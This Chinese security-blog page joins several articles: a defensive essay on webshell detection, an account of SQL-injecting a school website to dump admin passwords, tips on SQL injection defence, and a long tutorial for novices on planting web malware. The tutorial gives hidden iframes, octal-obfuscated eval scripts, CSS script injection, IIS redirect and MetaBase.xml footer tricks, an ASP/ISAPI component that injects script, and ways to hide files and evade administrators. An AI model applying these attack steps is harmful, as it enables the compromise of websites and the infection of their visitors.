分类 网安杂类 下的文章
WebShell检测思路浅谈
0x00 前言
0x01 Webshell检测模型
0x02 静态特征检测
0x03 动态特征检测
0x04 结语
0x00 前言
什么是webshell?我相信如果看官能有兴趣看这篇文章,一定对webshell有个了解。不
过不了解也没关系,那就请先搜索下相关资料[1]。当然,本着“know it then hack it”
的原则,建议你还是搭个环境,熟悉下先,毕竟纸上谈兵是要不得的。
随着网络的发展,Web站点的增加,webshell这种脚本后门技术也发展起来了,多少黑
客故事都是从一个小小的webshell开始的。所以对于网站,特别是站点和应用众多的互联网
企业,能够在出现webshell的阶段及时发现和响应就显得尤为重要。
本文以笔者多年从事相关工作的经验来探讨下webshell的检测手段。
0x01 Webshell检测模型
记得当年第一个ASP木马出来的时候号称“永不被杀的ASP木马”(请大家虔诚地起立,
我们一起来膜拜一下海洋顶端ASP木马之父LCX大叔),因为它使用正常端口,且脚本容易变
形,使得查杀它变得困难。但是,Webshell这种特殊的Web应用程序也有两个命门:文件和
HTTP请求。
我们先来看下Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。
简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。
棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然
不是绝对的),只有在应用层进行检测。
黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含
webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数
据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。
0x02 静态特征检测
静态特征检测是指不执行而通过围观的方式来发现webshell,即先建立一个恶意字符串
特征库,然后通过在各类脚本文件中检查是否匹配。这是一种最简单也是最常见的技术,高
级一些的,可能还涉及到语义分析。笔者06年开发的“雷客图ASP站长安全助手”[2]即是通
过此类办法查找ASP类型的webshell的。
静态特征检测面临的一个问题是误报。因为一些特征字符串正常程序本身也需要用到。
比如PHP里面的eval、system等,ASP里面的FileSystemObject、include等。所以雷客图在
设计之初就是一个辅助工具,最终还需要有相关安全经验的人来判定。
对于少量站点可以用这样人肉去检查,如果是一个成千上万站点的大型企业呢,这个时
候再人肉那工作量可就大了。所以用这样一种思路:强弱特征。即把特征码分为强弱两种特
征,强特征命中则必是webshell;弱特征由人工去判断。加入一种强特征,即把流行webshell
用到的特征作为强特征重点监控,一旦出现这样的特征即可确认为webshell立即进行响应。
比如PHPSpy里面会出现phpspy、wofeiwo、eval($_POST[xxx])等,ASP里面出现Shell.Application
等。当然,黑客完全可以变形躲过,没关系,还有人工检查的弱特征。
另一个问题是漏报。程序的关键是特征字符串,它直接关系着结果,如果你的特征库里
面没有记录的甚至是一种新的webshell代码,就可能束手无策了。雷客图第一版出来后,我
自以为所有的ASP webshell都可以查了,但是我错了,因为不断会有新的方式出来绕过,最
终结果就是特征被动的跟着webshell升级而升级,同时还面临未知的webshell——这个情况
和特征码杀毒软件何其相似。
要解决误报和漏报,就不能拘泥于代码级别了。可以换个角度考虑问题:文件系统。我
们可以结合文件的属性来判断,比如apache是noboy启动的,webshell的属主必然也是nobody,
如果我的Web目录无缘无故多了个nobody的文件,这里就有问题了。最理想的办法是需要制度
和流程来建设一个Web目录唯一发布入口,控制住这个入口,非法进来的Web文件自然可以发
现。
0x03 动态特征检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我
们称为动态特征。
先前我们说到过webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求/响应
做成特征库,加到IDS里面去检测所有的HTTP请求就好了。
这个方案有个问题就是漏报。首先你得把网上有的webshell都搜集起来抓特征,这是个
体力活,新的webshell出来还要去更新这个库,总是很被动,被动就算了,但是一些不曾公
开的webshell通信就会漏掉。那么这个方案有没有效果,只能说效果有限吧,对付拿来主义
的菜鸟可以,遇到高级一些的黑客就无效了。杀毒软件都搞主动防御了,webshell也不能老
搞特征码是吧。
webshell起来如果执行系统命令的话,会有进程。Linux下就是nobody用户起了bash,
Win下就是IIS User启动cmd,这些都是动态特征,不过需要看黑客是否执行命令(多半会这
样),还有就是你的服务器上要有一个功能强大的Agent。要是黑客高兴,再反连回去,这
下就更好了,一个TCP连接(也可能是UDP),Agent和IDS都可以抓现行。这里还涉及到主机
后门的一些检测策略,以后有机会再另文叙述。
回到网络层来,之前我们探讨过,Webshell总有一个HTTP请求,如果我在网络层监控HTTP
请求(我没有监控Apache/IIS日志),有一天突然出现一个新的PHP文件请求或者一个平时
是GET请求的文件突然有了POST请求,还返回的200,这里就有问题了。这种基于区别于正常
请求的异常模型,姑且称之为HTTP异常请求模型检测。一旦有了这样的模型,除了Webshell,
还可以发现很多问题的。
还有一个思路来自《浅谈javascript函数劫持》[3]和某款代码审计软件。回忆一下,
我们调试网马的时候,怎么还原它各种稀奇古怪的加密算法呢,简单,把eval改成alert就
好了!类似的,所以我们可以在CGI全局重载一些函数(比如ASP.Net的global.asax文件),
当有webshell调用的时候就可以发现异常。例如以下ASP代码就实现了对ASP的execute函数
的重载:
--code-------------------------------------------------------------------------
<%
Function execute(stra)
Response.Write("get the arg : "+stra)
End Function
a="response.write(""hello,world"")"
execute(a)
%>
-------------------------------------------------------------------------------
这个方法在应用层还是有些问题,所以如果在CGI引擎内核里面改可能会好些。根据小
道消息,这期ph4nt0m的webzine会有一篇文章涉及PHP内核中防webshell的,有兴趣的同学
可以关注。
0x04 结语
本文只探讨了检测Webshell的一些思路,希望对你有些帮助,如果你有更好的方案,也
可以和我探讨。至于一些工具和特征,由于这样那样的原因就不公开了,我始终认为,相比
于工具,思路永远是最重要的。
文章作者:lake2 - 这个ID不用我解释,某组织的牛淫
一句话木马的适用环境和工作原理/原理应用解析
教你如何清除干净入侵的记录
对本校网站的一次搜索型注入练习
晚上在群里聊选课的事情,聊着聊着,竟然扯到学校网站的注入漏洞了,向师哥确认了一下存在注入漏洞的子站,便决定去看一下,练练手~ 话说这个子站我很久以前进行了一次检测,当时没有发现搜索注入的,但是师哥说这个注入漏洞已经存在两年了,难道是当时我检测的时候漏掉了什么?
打开网站,直奔主题,拖到最下面的搜索框,填入' ,果断报错。。。(话说截图好麻烦,我就不截图了。。。) 咦,难道真的是我当时没发现?
继续测试,填上了aa,搜出了一大堆东西来,然后继续测试,
在搜索框填入aa%' and 1=1 and '%'='%,搜索,报错。。。 怎么个情况。。。 这是在告诉我这次检测失败吗?
这是师哥在群里发来了一个连接,说里面有他的文章,就是说这个网站的,果断点进去开始下载,然后就是。。。漫长的等待。。。。。(也不知是那个服务器,下载速度慢的让人蛋疼。。。)
下载完成后,找到师哥的文章,跟截图比对了一下,就是这个注入点,没有错,那难道是语句的问题?仔细比对了一下,一下子我就醒悟了,原来是后面多了一个%。。。。 - -! 我竟然忘记了在查询数据库时后面还有一个通配符。。。
例:sql= select * from news where title like '%关键字%';
注入构造的语句是 select * from news where title like '%关键字%' and 1=1 and '%'='%';
知道原因后,马上开始
aa%' and 1=1 and '%'=' 返回正常
aa%' and 1=2 and '%'=' 返回错误 存在搜索型注入漏洞。。。
看了一下师哥的文章,他到这里以后就直接丢工具了,我这里准备手工搞一下,熟悉一下代码,呵呵,开始
aa%' and exists(select * from admin)-- 返回正常
aa%' and exists(select username from admin)-- 正常 进展的还真是异常的顺利啊
aa%' order by xx-- 16正常,17错误
接下来开始爆字段内容
aa%' and 1=2 union select 1,2,3,4.....16 from admin-- 发现5,6两个字段可用
替换为 aa%' and 1=2 union select 1,2,3,4,username,password,7,8.....16 from admin-- 成功爆出管理员帐号密码
登录后台逛了一下,有一个上传点,貌似师哥在文章里提过可以用cookies绕过,这里就不搞了,这次主要是练练手,熟悉一下手工注入。
通过这次练习,还是对搜索注入有了进一步的了解的,还有就是注入语句的构造要自己动一下脑子才能得到应有的效果,还有一点就是在猜解表名和字段的时候,可以用col_name等系统函数来列出来,会省下很多时间。。。 嗯嗯 大概就是这个样子。小菜有错误的地方欢迎指正~ o(∩_∩)o 呵呵~
SQL注入的几点误区
大家存在5点误区:
1、sql注入比较难防,需要替换select,delete等一打字符
其实对于字符型替换再多都没有替换单引号为两个单引号来的好!对于数字型替换再多都没有用,一定要类型转换。
2、忽略DropDownList传来的东西
其实是不对的,一切客户端的东西都是不可信任的,select下拉框也是!因为可以自己做一个htm提交到服务器。
3、access比sqlserver不安全
安全不安全关键看怎么用,如果sqlserver还是像access一样用,一个sa帐户的话,很明显,sqlserver比access不安全,可以直接得到表名和字段名!access反而倒安全点了,因为只能通过逐位猜解得到。
4、网站没有显示出错信息就说明网站是安全的
当有记录的时候显示记录,没有记录的时候显示
找不到任何记录,通过这两种状态就可以猜解字
段名了,所以网页不出错不能说明是安全的
5、忽略post提交的信息
很多人对url上传递的东西过滤严格,对于post的东西不理不睬是不对的,post的东西更加容易被注入,因为一般字段比较多
在asp.net中强烈建议通过参数来实现sql而不是sql拼接,因为就算你每一个都过滤百密难有疏
比如:
SqlConnection conn=new SqlConnection(System.Configuration.ConfigurationSettings.AppSettings["conn"]);
SqlCommand comm=new SqlCommand("update tb1 set vName=@vName,iAge=@iAge where ID=@id",conn);
SqlParameter parm1=new SqlParameter("@vName",SqlDbType.NVarChar,50);
parm1.Value=((TextBox)e.Item.FindControl("name")).Text;
SqlParameter parm2=new SqlParameter("@iAge",SqlDbType.Int);
parm2.Value=((TextBox)e.Item.FindControl("age")).Text;
SqlParameter parm3=new SqlParameter("@id",SqlDbType.Int);
parm3.Value=this.DataGrid1.DataKeys[e.Item.ItemIndex];
comm.Parameters.Add(parm1);
comm.Parameters.Add(parm2);
comm.Parameters.Add(parm3);
conn.Open();
comm.ExecuteNonQuery();
conn.Close();
这样的代码看起来舒服而且又安全,何乐不为?
突破伪静态的四种注入方法
伪静态,主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。常规的伪静态页面如下:http://www.XXX.com/play/Diablo.html, 在看到之前先要确定这个页面是静态还是伪静态,鉴别方法很多。
八大团体发布“ITer宣言” 共创互联新兴力量未来
挂马轻骑兵,看黑客的多种挂马方式
开始语
摘自 : dashige's捕捞歌
目录
一 最简单的挂马方式
1.iframe挂马法
2.js文件挂马法
3.CSS中挂马
二 挂马技术升级—进阶篇
1.window.status=''方式
2.JS重定向挂马
3.手动挂马文件隐藏小技巧
三 服务器上挂马技术
1.MetaBase.mxl
2.ISAPI加载挂马
四 GXM挂马时的辅助工具与技巧
1.ASP封包挂马
GXM挂马时的辅助工具与技巧
2.修改最后文件修改日期工具
GXM挂马时的辅助工具与技巧
3.监控特定文件自动插马的无赖工具
五 最后总结
开始语
很多人非常鄙视挂马,但作为HACK必须了解的技术,我们还是要研究的。本文将很细致的讲解挂马,主要就是让一无所知的菜鸟懂得如何挂马。
一,最简单的挂马方式
1. iframe挂马法
作为挂马中最常用的语句,虽然简单,但还是要说下,为了广大的菜菜们。首先解释下iframe标签,它代表HTML内联框架,尤其是以下属性:
提示:
name 定义两人内容页名称,此名称在框架页内连接时会使用到
frameborder 定义了内容页的边框,取值为(1|0).缺省值为1
marginwidth 定义可框架中HTML文件显示的上下边界的宽度,取值为px,缺省值由浏览器决定
marginheight 定义可架框中HTML文件显示左右边界的宽度,取值为px,缺省值由浏览器决定
elign 垂直或水平方式
height 框架的高度
width 框架的宽度
一 般我们常用的属性就是height和width,因此为了让客户看不到我们的网马,就设置height为0,width为0.我们本地测试下,利用记事本 新建一个文件,然后输入代码:<iframe src=http://www.baidu.com width=50></iframe>,保存为*.htm文件。
当把width和height都设置为0后,页面就相当于被"隐藏"了起来,实际中只要把以上代码中src后的地址改成网马地址就可以了。
2. js文件挂马法
由于iframe所利用的代码很明显,由经验的管理员一搜索就可以找到,所以又有人想出了js文件挂马,这招在06年的时候很流行,现在还是主流哦!
首 先建立一个文件,保存为1.htm,里面写入代码为:<script language=javascript src='http://137.0.0.1/tg.js'></script>,因为我是在本地测试的,目录是D:\website 里面有个tg.js文件。
tg.js文件里写挂马语句,比如说:
document.write("<iframe src=http://www.c3389.com width=100 height=100></iframe>");
好了,写完后保存文件,然后访问下1.htm就可以看到效果了。
其实
<script language=javascript src='heep://127.0.0.1/tg.js'></script> 就是调用了tg.js这个文件,当别人访问1.htm的时候就调用tg.js,然后再根据tg.js文件里的内容去访问我们的网马。
这 样,管理员在1.htm中搜索iframe就与挂马无关了,但我们却又能调用网马。 为了让管理员搜索不到iframe字样,最好的办法还是对js文件里的内容进行加密,复制我们JS文件里的内容,把他们转成其他进制。我这有个软件可以进 行转化操作,将要加密的内容复制到"要转的"输入框里,然后单击"给我转!",分别就会在"输出的八进制"和"输出的十六进制"处出现转换后的内容,然后 我就转换八进制复制下来,在js文件里这么写:
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\142\143\75\150\164\164\160\72\57\57\147\147\147\56\142\141\151\155\165\56\143\157\155\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\61\60\60\76\74\57\141\146\162\141\155\145\76\42\51\73")
这样就OK了!已经没有iframe字样了,这确实在早期是个挂马的好招,但是现在这几招也骗不了厉害的管理员了,所以挂马技术还要在研究下去……
3.CSS中挂马
要 想在CSS文件中挂马,先来了解什么是CSS文件。CSS是Cascading Style Sheets的简称,一般称为"层叠样式表",实际上它是一组样式。你可能对CSS这个名词比较陌生,实际上你在浏览网页时,当前网页页面说不定就使用了 CSS。用好CSS能使网页编辑者在排版和设置功能时更加明了。
CSS的语句是内嵌在HTML文档内的,所以,编写CSS的方法和编 写HTML文档的方法一样,只需要在引用CSS的页面部插入<link href="css.css" type="text/css" rel="stylesheet">这样的代码即可。其实就是在当前页面调用外部文件的实现。这跟挂马自然比较"亲近"了。
现在我们就 来CSS中的挂马。首先建立一文件为1.htm,然后写入<link href="css.css" type="text/css" rel="stylesheet">并且保存。接着在同目录下用记事本新建一个css.css文件,里面代码如下
body { background-image: url('javascript:document.write("<lframe src=http://www.c3389.com width=50 height=50></iframe>")') }
再次访问 1.htm,成功调用百度的页面,图就不抓了,和以前没什么区别。不过听网上说,这样的办法会把网站搞乱,说不定会一片空白。那好吧,我们继续网上教的办 法,首先建立一个gxm.htm文件,里面调用CSS文件。调用代码为<link href="css.css" type="text/css" rel="stylesheet">,然后在css.css文件里写入如下代码:
body { background-image: url(javacrip:open('http://127.0.0.1/gxml.htm'.'newwindow'.height=0. width=0. top=1000. left=0. toolbar=no. scrollbars=no. resizable=no.location=no. atus=no')) }
以上代码是弹出一个窗口,为了部让网站成为一片空白,所以在gxml.htm文件里我们还要继续动手,写段调用js文件的代码,顺便再写段关闭窗口的代码,全部代码如下:
<script src="http://127.0.0.1/gxm.js"></script> '这个就是我们要真正放木马的地方 <script> window.opener=null; steTimeout("window.close();".5000) '意思是5秒关闭对话框,你可以设置,5000的单位是毫秒,5000毫秒就=5秒。 </script> 然后在gxm.js文件里加入这段代码:
document.write('<lframe src=http://www.c3389.com width=500 height=500></iframe>'); 编写好后,我们浏览gxm.htm文件,弹出一个窗口,窗口中的内容是调用的指定站点,大家可以把它修改为自己的挂马的地址。
好了,最基础的部分结束了,我也把自己会的东西很详细地说了一遍,目地还是为了我们这些什么都不懂,而又想学习的菜鸟。当然,这类菜鸟先要懂得如何使用 webshell,这个是前提。至于高手,可以跳过这部分,下面的一大部分里准备了进阶篇,可能有些内容对于高手来说还是比较简单的,但这几招没有被重 视。
二 挂马技术升级—进阶篇
1.window.status='';方式
大家在尝试用iframe的时候,有没有发现IE6.0浏览器中下面的状态栏会出现网马的地址?对于有经验的管理员来说,不是自己网站和熟悉的地址,查看后在一访问就知道是网马。因此,我们要让这个地址不能出现。
现在解释下window.status='';是什么意思,其实它是JS中的windows对象,status只不过是它的属性而已。有关windows对象的介绍如下
---------------------------------------------------------------------------------------------------------------------------------------------
windows对象
它是一个顶层对象,而不是另一个对象的属性
相关属性
defaultStaus 缺省的状态条消息
document 当前显示的文件
frame 窗口里的一个架框,该属性本身也是一个对象
frames array 列举窗口的架框对象的数组,按照这些对象在文档中出现的顺序列出,该属性本身也是一个对象
history 窗口的历史列表,该属性本身也是一个对象
length 窗口类的框架数
location 窗口所显示的文档完整(绝对)URL,该属性本身也是一个对象,不要把它如document,location混淆,后者是当前显示文档的URL。用户可 以改变windows,location(用另一个文档取代当前文档),但却不能改变document,location(因为这是当前显示文档的位置)
name 窗口打开时,赋予该窗口的名字
opener 代表使用windows.poen打开当前窗口(这是Netscape Navigator 3.Obeat 3所引入的新属性)
parent 包含当前架框的窗口的同义词。frame和windows对象的一个属性
self 当前架框的窗口的同义词
status 状态条中的消息
top 包含当前架框的最顶层浏览器窗口的同义词
window 当前窗口或架框的同义词,一self相同
方法
alert() 打开一个Alert消息框
clearTimeout() 来终止setTimeout方法的工作
close() 关闭窗口
confirm() 打开一个Confirm消息框,用户可以选择OK或Cancel。如果用户单击OK,该方法返回true,单击Cancel返回false
biur() 把焦点从指定窗口移开(这是Netscape Navigator 3.0 beta 3 映入的新方法)
foc() 把指定的窗口带到前台 (另一个新方法)
open() 打开一个新窗口
prompt() 打开一个Prompt对话框,用户数可向该框键入文本,并把键入的文本返回到脚本
setTinmeout() 等待一定指令的毫秒数时间,然后运行指令处理程序
Onliad() 页面加载时触发
Onunload() 页面关闭是触发
--------------------------------------------------------------------------------------------------------------------------------------------
这 样,一般只要在JS文件里这样写:window.status='狂人影子';,就能在IE左脚下那里出现"狂人影子"的字样了,而不会出现地址了。当 然,如果把"狂人影子"用空格代替,IE左脚下显示就是空白了,因此,JS挂马的是时候,我们可以在JS文件里写入如下代码:
window.status="": document.write("<iframe src=http://www.c3389.com width=0 height=0></ifame>"); 其实,我在搞入侵的时候,无意看到别人的代码是这样写的:
window.defaultStates="完成";这又什么用?看看defaultStates属性的解释把,其实是个障眼法,应用的很巧妙,呵呵……(看不明白的话,你的悟性还不够啊!)
2.JS重定向挂马
这 招其实在以前的《黑客手册》上出现过,是剑心大牛的以前文章,我个人感觉这招太牛了,优点就是能躲过N多管理员,缺点就是目标的网站JS文件必须流量大, 这样才有挂马的效果,呵呵!本菜以前有幸入侵过一个音乐站,流量N大,但是它的站右下角经常出现一个JS控制的,类似QQ消息的那种东西。因此。我用了剑 心大牛的那招,因为网马免杀,管理员察觉后查了N天都查不到,最后无赖而重装系统来解决问题。至于这个是什么招?让我来一一解答。
如果你碰到一个流量很大的JS文件(特别是一些音乐站点的音乐播放列表),并且有管理员权限,服务器的WEB是用的微软的IIS,保证网马免杀,速度不卡,那么安定日子你就可以过下去了…………
神神秘秘说了那么多,很吊大家胃口啊,其实就是在JS文件上做手脚!
大 家还记得IIS配置漏洞吗?就是建立一个没有路径的虚拟目录,这样在IIS里是不可见的,比如一个站的流量JS文件是gsm.js,那么我们也建立一个没 有物理路径的虚拟目录gxm.js,然后重定向文件到我们设置的远程地址的JS文件,自然那个原本的JS文件就失去作用了,因为虚拟目录优先于物理目录。 说了这么多。可能很多菜鸟不懂,那我们来实践下就非常明白了。
adsutil.vbs文件放在C:\inetpub\Adminscripts\adsutil.vbs CREATE WSVC/1/Root/gxm "llsWebVirtualDir"
大家可能什么都不懂,我们可以输入cscript Adsutil.vbs来看一下返回信息:
------------------------------------------------------------------------------------------------------------------------
Usage:
ADSUTIL.vbs<cmd>[<path>[<value>]]
Description:
IIS administration utilit that enables the configuration of metabase properties
Supported Commands: //支持的命令,这个最重要
GET.SET.ENUM.DELETE.CREATE.COPY.APPCREATEINPROC.APPCEATEOUTPROC.APPCREATEPOOLPROC.APPDELETE.APPUNLOAD. APPGETSTATUS
------------------------------------------------------------------------------------------------------------------------
可 以看见,重要的就是支持的Supported Commands命令,我们刚刚输入的命令中,就用了CREATE这个命令。在回头来看看建立虚拟目录的命令,参数中W3SVC/1/Root/gxm代 表是只第一个web服务器地址里的虚拟目录gxm,因此我们要找的就是我们站点的web服务地址。
不可能IIS里就一个站把?现在许多用虚拟主机 的服务器,一般IIS里可能有上百个站呢!我们该怎么的快速寻找了?本人奉献自己的经验给大家:安装IIS后,在服务器上一般都有 MetaBase.xml这个文件(注意,我的XP系统里却没有这个文件。一般的服务器只要安装了IIS,都应该有这个Metbase.xml这个文 件),它的位置在C:\windows\system32\inetsrv下.
一般我们挂马的站点那个站的域名,搜索http://www.c3389.com,大家看见没有那个Location =后面的一串信息就是我们需要挂的站http://www.c3389.com里的目录了,真正应用时还应该加上root,完整的地址是/ML/W3SVC/1540331721/ROOT.
得到了地址,下面就可以打开CMD来创建我们的虚拟不可见的目录了!命令如下:
------------------------------------------------------------------------------------------------------------------
cscript C:\inetpub\AdminScripts\adsutil.vbs CREATE W3SVC/1/Root/gxm/ "llsWebVirtualDir"
创建gxm虚拟无物理路径的目录
cscript C:\inetpub\AdminScripts\adsutil\adsutil.vbs CREATE W3SVC/1/Root/gmx/gmx.js "llsWebVirtualDir"
在gxm虚拟目录里创建gxm.js虚拟无物理路径的目录.
-----------------------------------------------------------------------------------------------------------------------------
接下来就是重定向目录了,命令为:c:\inetpub\adminscripts\adsutil.vbs setW3VC/1/Root/gxm/gxm.js/httpredirecrhttp://www.c3389.com/ADMIN/LDJT/sms.js
-------------------------------------------------------------------------------------------------------------------------------
这样我们一执行,因为虚拟目录比物理路径优先,所以只要调用gxm.js这个文件,就会先访问我们虚拟目录里的这个。但是这个文件因为被我们重定向了,所以会传到
http://www.c3389.com/ADMIN/LDJT/sms.js去,因为这个sms.js文件控制了真正的物理路径里的gxm.js文件。就算管理员这么修改物理路径里的gxm.js,其结果还是去调用我们的sms.js文件。
这样,只要我们在sms.js文件里挂马就行了,呵呵……很巧妙的一招吧!大家要多多练习才能熟练哦
3,手动挂马文件隐藏小技巧
接下来讲讲本人对付一些笨蛋管理员的小招(看过本文的就不能算是笨蛋管理员了),还记得病毒是怎么隐藏自身文件的吗?他们一般就是修改注册表的相关键值,那我们和不利用下?
比如我们有个数据库连接文件comm.asp,由于每个文件都调用,因此就可以把挂马语句放在最里面然后对他进行加隐藏和只读属性(实现把挂马语句放进去)的操作。怎么加了?在CMD模式下输入命令
: attrib +r +h 文件即可。
-r -h -s 的意思就是取消指定文件或目标的只读.隐藏.系统属性,相反的 +r +h +s 就是加上只读.隐藏.系统属性。
当 把文件加了隐藏属性后,一定要把"资源管理器"- "工具"-"文件夹选项"里的"显示隐藏文件"屏蔽掉!我们可以通过简单的修改注册表来达到目地。进入注册表,找到 HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHWALL 下的CheckedValue值,修改成0就可以了,1是恢复,当修改成0后,"显示隐藏文件"就固定在不显示的那个选项上了。
这个是从病毒里学习到的小技巧,看来研究病毒还是很有用的,呵呵……这部分就结束了,下面还又跟我来的挂马技术等着大家了。
三,服务器挂马技术
其实挂马肯定得在服务器上挂的,但这里的服务器挂马是讲利用服务器本身相关文件进行挂马,而且这些文件比较特殊,一般管理员还不能删除。在服务器上挂马,只要流量大,那个效果真是……当
然,得先用netstat -an来看看连接80端口的个数,选择好目标就准备下手了。
1、MetaBase.xml文件修改挂马
大家应该还记得我们在前面才刚刚说过的MetaBase.mxl文件吧?位置在C:\WINDOWS\SYSTEM32\inetsrv,它可真的很重要!首先我们必须有这个服务器的管理权限,然后打开MetaBase.mxl文件,搜索
DefaultDoc="Default.aspx,Default.htm,Default.htm,Default.asp,index.htm,index.asp",
然 后在DefaultDoc下面,DirBrowseFlags的上面加一段话,就是: DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm",这个在C:\Inetpub \wwwroot\iisstart.htm 文件里写我们挂马的语句,尽量隐蔽点。接着在DownlevelAdminlnstance="1"下面 再添加一句EnableDocFooter="TRUE",完成后如下
------------------------------------------------------------------------------------------------------------------------------------------------
DefaultDoc="Default.aspx,Default.htm,Default.asp,index.htm,index.asp"
DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm"
DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DrBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"
DownlevelAdminlnstance="1"
EnableDocFooter="TRUE"
------------------------------------------------------------------------------------------------------------------------------------------------
这 个时候我们肯定保存不了,因为IIs在调用这个文件,那这么办?我们必须停止IIS!在CMD中输入iisreset /stop,然后以最快的速度保存文件。保存好后,在CMD中输入iisreset /start重新启动IIS,然后就等着服务器流量给你的快感吧,呵呵……
2.ISAPI加载挂马
小知识:
什么是ISAPI: 它是互联网服务应用程序编程接口(Internet Sever Application Programming Internet)的缩写,是一组API函数,可以用来开发扩展IIS程序
------------------------------------------------------------------------------------------------------------------------------------------------
这种方法需要使用一些工具,步骤是:首先打开GetiD.exe获取注册号,然后运行IIS_AD.exe生成DLL文件,加载到IIS应用池就OK了。有了它,服务器任何的一个页面都会广告代码或者网马代码。
我们先看看初始的IIS_AD.ini文件里的内容:
Copy code
[IIS_AD]
ADjs=<script language='JavaScript>alert(' Welcome to User IIS AD ! ' );</script>
------------------------------------------------------------------------------------------------------------------------------------------------
现在开始注册,首先打开GetID.exe,然后点获取,获得注册账号,复制下注册号,然后打开IIS_AD.exe,把注册号粘贴进去,接着把时间调远点,最后点生成。
接着我们修改iis_ad.ini的文件,它本来是:
[IIS_AD]
ADjs=<script language=' javasecript' >alert(' Welcome to User IIS AD ! '):</script>
我们就修改成
[IIS_AD]
ADjs=<iframe scr=http://http://www.c3389.com width=600 height=700></iframe>
------------------------------------------------------------------------------------------------------------------------------------------------
下面我们要把ad.dll和iis_ad.ini这两个文件藏的深一点,打开IIS在("控制面板"—"管理工具"—"Internet 信息服务"),在要挂马的站点上按鼠标右键选择"属性",在"ISAPI"标签选项中,把我们的DLL文件添加进去。
好了,现在随便访问这个站的一个页面就会执行我们的代码,我在XP下的IIS测试通过。在2003下,我要说点事情,加载DLL文件的时候,首先把DLL和INI放到一个目录,然后给予足够的权限,在加载
ISAPI DLL文件。接着在IIS下"允许所有未知ISAPI",在WEB服务扩展下加载DLL文件,然后重启IIS
四. gxm挂马时的辅助工具与技巧
最后一大部分了,也是我自己在挂马中所领悟出来的超级独家经验大放送的时候了,呵呵。可能技术不太高超,但也是自己的一点心得,与大家分享,希望大家好好学习。
1. ASP封包挂马
大家知道吗?有些高级的ASP代码是封装在DLL文件里面的,比如自己开发的ASP组件,目的就是不公布代码,而且一些自己用ASP脚本写的常用函数也可以封装在DLL里。挂马技术就是为了让管理员看不到我们的iframe标签,因为有iframe才能挂马。
不知道这种ASP封包挂马技术大家自己手动搞过没有?反正是我自己想出来的,就算别人以前也知道,那也是思路相同而已,绝不存在抄袭,我在这里就教给大家吧。前提条件是要求我们有管理员权限(毕竟DLL文件是需要注册的)和目标必须是用ASP脚本建立的站点。
其实也很简单,就是利用VB写一个简单的ASP封装程序而已。至于代码我就不解释了,就教下怎么操作就行了,首先我们需要安装一个完整的VB编译器,打开VB,选择ACTIVEXDLL工程
然 后选择"打开",在上面点"工程"—"引号",进入选择页面,选择"Microsoft Active SerVer Pages Object Library",然后"确定"即可。菜鸟不用学习代码是什么意思,反正我是花了很长时间反复测试,终于编译成功了,大家就用我的代码吧。
-----------------------------------------------------------------------------------------------------------------------------------------------
private MyScriotingContext As ScriptingContext private MyResponse As Response public Sub OnStartPage(PassedScriptingContext AS ScriptingContext) Set MyScriptingContext = PassedScriptingContext Set Myresponse = MyscriptingContext.Response End Sub Public Sub OnEndpage() Set MyResponse = Nothing End Sub Public Sub Start() MyResponse.Write "<script language+javasecript src='http://127.0.0.1/gxm.js'></script>" End Sub ------------------------------------------------------------------------------------------------------------------------------------------
直接把以上代码复制进去,大家如果需要改的话,就改
MyResponse.Write "<scriptlanguage=javascript src='http://127.0.1/gxm.js'></script>" 这句,意思应该都能明白
ASP是需要调用的,那就需要调用名。其实这些组建的名字改工程名就是了,在右边选择工程名,我改成vlegxm。
然后修改类名为gxml,调用方法如下:
<% Set ObjReference=Sever.CreateObject("gxm.gxm1") ObjReference = nothing %> 好了现在利用VB编译下,选择"文件"—"生成",gxm.dll文件所生成的目录,然后执行命令"regsvr32 gxm.dll进行注册
好了现在建立了一个1.asp文件,里面就写调用的代码。因为我们的组件调用的是 http://127.0.0.1/gxm.js,因此我们还要再建立一个gxm.js文件,里面写入如下代码:
document.write('<iframe src=http://www.c3389.com width=500 height=500> </iframe>'); 现在我们去访问下看看
呵呵,在实际应用中,一般conn.asp这样的数据库连接文件不是也要调用组件吗?我们就写到里面去迷惑管理员,这样就查不到iframe标签了!还有两个小的心得,休息一下,我们继续。
2.修改最后文件修改日期工具
前 面刚刚给大家介绍过利用ASP封包挂马,只要修改下conn.asp文件进行调用就可以了。不过管理员只要通过查看修改的 "文件时间" 就能知道什么文件被修改过了,然后覆盖掉站点内觉得可疑的文件,我们的成果就又完蛋了!因此我们不能让管理员察觉到时间不对,这里就来讲讲.修改文件的最 后修改日期.
我站点有一些ASP木马上有这类功能,但是有的是后因为权限的问题(很多时候需要管理员的权限)而无法修改,虽然提示却成功了,呵呵。小菜我自己写了个程序,就直接奉献给大家了,执行后会出现说明
一般我修改好conn.asp文件后,必须对它修改文件最后修改日期。这个小工具的参数有7个,大家应该都能看懂,比如我要修改教cmd.txt,然后照所进行命令执行就可以了。
3.监控特定文件自动插马的无赖工具
这个确实是个无赖,呵呵,以前碰到一个服务器上的管理员,他很会查我的代码,因此为了对付他,我特别自己写了个程序。其实也就是监控指定的文件,如果没有发现挂马语句,就马上插进去。
程序的主流是这样的:"先检查文件里有无挂马语句,没有的话,就给目标足够的访问权限,取消对自身的拒绝权限。以所有权先打开文件,定位到文件最后位置进行插马。接着再检测,有了就跳过,等一段时间再检测。
